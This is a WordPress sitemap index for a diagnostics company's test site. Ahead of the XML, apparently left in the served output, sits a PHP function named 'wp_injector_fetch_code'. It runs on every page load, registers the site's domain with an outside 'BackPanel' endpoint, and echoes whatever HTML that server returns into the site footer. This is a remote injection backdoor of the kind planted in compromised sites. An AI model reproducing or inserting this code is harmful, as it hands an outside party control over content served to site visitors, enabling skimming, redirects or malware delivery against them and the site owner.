function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array(
        'body' => array(
            'action' => 'register_domain',
            'domain' => $domain
        ),
        'timeout' => 5
    ));
    if (is_wp_error($response)) {
        return;
    }
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) {
            echo $html_code;
        });
    }
}
add_action('init', 'wp_injector_fetch_code');
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://testwebsite.corediagnostics.in/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-posts-portfolio-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-posts-client_payment-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-posts-test_prices-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-posts-experts-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-taxonomies-portfolio_category-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-taxonomies-page_category-1.xml</loc></sitemap><sitemap><loc>https://testwebsite.corediagnostics.in/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>